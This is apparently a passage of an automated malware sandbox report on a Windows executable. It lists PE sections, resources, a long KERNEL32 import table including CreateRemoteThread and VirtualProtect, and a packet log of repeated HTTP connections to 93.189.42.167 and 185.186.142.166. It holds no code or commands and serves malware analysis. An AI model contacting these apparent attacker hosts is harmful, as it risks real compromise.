IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3e742	0x3e800	False	0.5825390625	data	6.96275240537	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x40000	0x11c988	0x1800	False	0.3408203125	data	3.45130385935	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.diw	0x15d000	0x5	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.dekezuc	0x15e000	0xea	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.vop	0x15f000	0xd93	0xe00	False	0.00697544642857	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x160000	0x83b8	0x8400	False	0.597153172348	data	5.83586452209	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x169000	0x46f6	0x4800	False	0.348090277778	data	3.69092226845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0x166ce8	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x166ce0	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x166cf0	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x166cf8	0x2	data	Dutch	Netherlands
CIDAFICUDUROSOTAROM	0x1665c8	0x6c7	ASCII text, with very long lines, with no line terminators	Spanish	Colombia
RT_CURSOR	0x166d00	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"	Dutch	Netherlands
RT_ICON	0x1606e0	0x6c8	data	Spanish	Colombia
RT_ICON	0x160da8	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x161310	0x10a8	data	Spanish	Colombia
RT_ICON	0x1623b8	0x988	dBase III DBT, version number 0, next free block index 40	Spanish	Colombia
RT_ICON	0x162d40	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x1631f8	0x8a8	data	Spanish	Colombia
RT_ICON	0x163aa0	0x6c8	data	Spanish	Colombia
RT_ICON	0x164168	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x1646d0	0x10a8	data	Spanish	Colombia
RT_ICON	0x165778	0x988	data	Spanish	Colombia
RT_ICON	0x166100	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_STRING	0x1675c0	0xe4	data	Dutch	Netherlands
RT_STRING	0x1676a8	0x3a8	data	Dutch	Netherlands
RT_STRING	0x167a50	0x6e6	data	Dutch	Netherlands
RT_STRING	0x168138	0x1a0	data	Dutch	Netherlands
RT_STRING	0x1682d8	0xdc	data	Dutch	Netherlands
RT_ACCELERATOR	0x166ca0	0x10	data	Dutch	Netherlands
RT_ACCELERATOR	0x166c90	0x10	data	Dutch	Netherlands
RT_GROUP_CURSOR	0x1675a8	0x14	data	Dutch	Netherlands
RT_GROUP_ICON	0x1631a8	0x4c	data	Spanish	Colombia
RT_GROUP_ICON	0x166568	0x5a	data	Spanish	Colombia
None	0x166cc0	0xa	data	Dutch	Netherlands
None	0x166cd0	0xa	data	Dutch	Netherlands
None	0x166cb0	0xa	data	Dutch	Netherlands

Imports

DLL

Import

KERNEL32.dll

CallNamedPipeW, TerminateProcess, GetExitCodeProcess, GetVersionExW, SetConsoleCP, GetConsoleAliasesLengthW, GetDefaultCommConfigW, FindFirstFileExW, GetDriveTypeW, FreeEnvironmentStringsA, SetProcessPriorityBoost, SetVolumeMountPointW, GetLongPathNameA, CopyFileA, TlsGetValue, SetConsoleCursorInfo, SetComputerNameExA, SystemTimeToTzSpecificLocalTime, FindAtomA, ReleaseSemaphore, GetNamedPipeHandleStateA, CreateMailslotA, BuildCommDCBAndTimeoutsW, VirtualProtect, LoadLibraryA, LocalAlloc, TryEnterCriticalSection, GetCommandLineW, InterlockedDecrement, GetCalendarInfoA, DeleteFileA, CreateActCtxW, CreateRemoteThread, SetSystemTimeAdjustment, GetPriorityClass, WritePrivateProfileStringA, GetProcessHeaps, GetProcessHeap, GlobalUnWire, ReadConsoleOutputCharacterW, GetStartupInfoW, GetDiskFreeSpaceExA, GetCPInfoExA, GetWindowsDirectoryA, GetSystemWow64DirectoryW, GetLastError, WriteProfileSectionW, GetProfileStringA, SetLastError, DeleteVolumeMountPointA, DebugBreak, lstrcmpA, WriteFile, SetConsoleMode, GetVersion, GetSystemWindowsDirectoryW, GlobalFindAtomA, FindCloseChangeNotification, GetTapeParameters, SetMailslotInfo, InterlockedExchange, DefineDosDeviceW, FindVolumeMountPointClose, EndUpdateResourceW, WriteConsoleW, GetSystemTimeAdjustment, WritePrivateProfileSectionA, GetPrivateProfileStructW, GetDriveTypeA, GetFileAttributesExA, MoveFileW, GetVolumePathNameA, GetConsoleMode, HeapUnlock, lstrcmpW, SetDefaultCommConfigW, FindActCtxSectionStringA, ResetEvent, GetThreadContext, MoveFileExW, GetProcAddress, GlobalLock, UnregisterWaitEx, BuildCommDCBA, PeekConsoleInputA, GetBinaryTypeW, CreateSemaphoreW, TransmitCommChar, WaitNamedPipeA, GetPrivateProfileSectionNamesW, FindResourceExW, EnumTimeFormatsW, GetLocalTime, CreateSemaphoreA, FreeEnvironmentStringsW, GetPrivateProfileSectionW, GetOverlappedResult, SetFileShortNameW, lstrcpyA, VerLanguageNameW, SetThreadExecutionState, SetSystemTime, LockFile, VerSetConditionMask, GetConsoleAliasA, FlushConsoleInputBuffer, FreeConsole, GetAtomNameW, GetConsoleAliasExesLengthA, WriteConsoleInputW, TransactNamedPipe, EnumDateFormatsA, SetCommState, FileTimeToLocalFileTime, _lopen, GetConsoleAliasExesLengthW, GetWriteWatch, GetNumberOfConsoleInputEvents, GetModuleHandleW, WriteConsoleOutputCharacterA, HeapFree, OpenMutexW, LocalLock, GetCommMask, SetEndOfFile, FindClose, CreateIoCompletionPort, SetFileApisToANSI, CancelWaitableTimer, GetProcessHandleCount, UnregisterWait, GetProcessVersion, lstrcpynA, GetNamedPipeInfo, GetCompressedFileSizeA, FindNextVolumeMountPointW, GetFullPathNameA, WriteProfileStringA, DeleteAtom, GlobalAddAtomW, TerminateJobObject, QueryDosDeviceW, InitializeCriticalSection, Process32NextW, SetCurrentDirectoryA, GetBinaryTypeA, MoveFileA, RaiseException, HeapValidate, IsBadReadPtr, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, GetModuleHandleA, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, InterlockedIncrement, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, Sleep, ExitProcess, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, HeapDestroy, HeapCreate, VirtualFree, GetModuleFileNameA, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, RtlUnwind, InitializeCriticalSectionAndSpinCount, OutputDebugStringA, OutputDebugStringW, LoadLibraryW, MultiByteToWideChar, GetStringTypeA, GetStringTypeW, WideCharToMultiByte, LCMapStringA, LCMapStringW, GetLocaleInfoA, SetFilePointer, GetConsoleCP, FlushFileBuffers, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, CloseHandle, CreateFileA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Dutch	Netherlands
Spanish	Colombia

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 01:50:47.962441921 CET	49713	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.013155937 CET	80	49713	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:48.013273954 CET	49713	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.013394117 CET	49713	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.013780117 CET	49713	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.064488888 CET	80	49713	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:48.064539909 CET	80	49713	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:48.091576099 CET	80	49713	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:48.091720104 CET	49713	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.093024015 CET	49713	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.143804073 CET	80	49713	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:48.438421965 CET	49714	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.489073992 CET	80	49714	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:48.489231110 CET	49714	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.489315033 CET	49714	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.490576029 CET	49714	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.539880991 CET	80	49714	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:48.541213036 CET	80	49714	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:48.564901114 CET	80	49714	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:48.565205097 CET	49714	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.565318108 CET	49714	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.615780115 CET	80	49714	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:48.914284945 CET	49715	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.965646982 CET	80	49715	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:48.965852976 CET	49715	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.965931892 CET	49715	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:48.965941906 CET	49715	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.017385006 CET	80	49715	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:49.049453020 CET	80	49715	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:49.049559116 CET	49715	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.049804926 CET	49715	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.101640940 CET	80	49715	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:49.383588076 CET	49716	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.435373068 CET	80	49716	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:49.435570002 CET	49716	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.435640097 CET	49716	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.435652971 CET	49716	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.487411976 CET	80	49716	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:49.517473936 CET	80	49716	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:49.517575026 CET	49716	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.532403946 CET	49716	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.584182978 CET	80	49716	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:49.856435061 CET	49717	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.908425093 CET	80	49717	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:49.910326958 CET	49717	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.910449028 CET	49717	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.910463095 CET	49717	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.961675882 CET	80	49717	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:49.990885973 CET	80	49717	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:49.992604017 CET	49717	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:49.992852926 CET	49717	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:50.043382883 CET	80	49717	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:50.322325945 CET	49718	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:50.373806000 CET	80	49718	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:50.375157118 CET	49718	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:50.375272989 CET	49718	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:50.375303984 CET	49718	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:50.426229000 CET	80	49718	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:50.456758976 CET	80	49718	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:50.459988117 CET	49718	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:50.460438967 CET	49718	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:50.467609882 CET	49719	80	192.168.2.3	185.186.142.166
Jan 14, 2022 01:50:50.510958910 CET	80	49718	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:50.523214102 CET	80	49719	185.186.142.166	192.168.2.3
Jan 14, 2022 01:50:51.038507938 CET	49719	80	192.168.2.3	185.186.142.166
Jan 14, 2022 01:50:51.094082117 CET	80	49719	185.186.142.166	192.168.2.3
Jan 14, 2022 01:50:51.601027966 CET	49719	80	192.168.2.3	185.186.142.166
Jan 14, 2022 01:50:51.656538963 CET	80	49719	185.186.142.166	192.168.2.3
Jan 14, 2022 01:50:51.685642958 CET	49720	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:51.737696886 CET	80	49720	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:51.737850904 CET	49720	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:51.737937927 CET	49720	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:51.737948895 CET	49720	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:51.789917946 CET	80	49720	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:51.821568966 CET	80	49720	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:51.821616888 CET	80	49720	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:51.821747065 CET	49720	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:51.826260090 CET	49720	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:51.854381084 CET	49721	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:51.878197908 CET	80	49720	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:51.905203104 CET	80	49721	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:51.905314922 CET	49721	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:51.905412912 CET	49721	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:51.905435085 CET	49721	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:51.955879927 CET	80	49721	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:51.984428883 CET	80	49721	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:51.984532118 CET	49721	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:51.984747887 CET	49721	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.013231039 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.035068035 CET	80	49721	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.063455105 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.063646078 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.063699007 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.123414993 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.123473883 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.123513937 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.123553038 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.123573065 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.123589993 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.123600960 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.123822927 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.123864889 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.123894930 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.123933077 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.123970032 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.123986959 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.124042034 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.124098063 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.173990965 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174052000 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174091101 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174129009 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174129963 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.174170971 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174184084 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.174210072 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174257040 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174269915 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.174295902 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174334049 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174364090 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.174372911 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174412012 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174424887 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.174451113 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174490929 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174504995 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.174527884 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174566984 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174575090 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.174606085 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174642086 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174654961 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.174679995 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174719095 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174732924 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.174760103 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.174808979 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.225141048 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225208998 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225249052 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225287914 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225327015 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225367069 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225378990 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.225406885 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225409031 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.225447893 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225471020 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.225490093 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225492001 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.225529909 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225567102 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225605011 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225620985 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.225644112 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225657940 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.225686073 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225725889 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225763083 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225775957 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.225802898 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225810051 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.225843906 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225913048 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225949049 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.225965023 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.225987911 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226002932 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.226027012 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226064920 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226104021 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226118088 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.226140976 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226155043 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.226180077 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226219893 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226254940 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226269007 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.226294994 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226304054 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.226334095 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226372957 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226412058 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226425886 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.226449966 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226464033 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.226490021 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226527929 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226563931 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226578951 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.226603031 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226617098 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.226641893 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226680040 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226720095 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.226732969 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.226764917 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277048111 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277101994 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277134895 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277164936 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277194977 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277198076 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277229071 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277229071 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277262926 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277282953 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277293921 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277327061 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277352095 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277359962 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277390003 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277422905 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277427912 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277453899 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277476072 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277484894 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277515888 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277544975 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277571917 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277575970 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277599096 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277607918 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277637959 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277667046 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277687073 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277695894 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277723074 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277726889 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277757883 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277786016 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277808905 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277817965 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277852058 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277868986 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277904987 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277934074 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277956009 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277964115 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.277992964 CET	49722	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:52.277995110 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278026104 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278054953 CET	80	49722	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:52.278074026 CET	49722	80	192.168.2.3	93.189.42.167
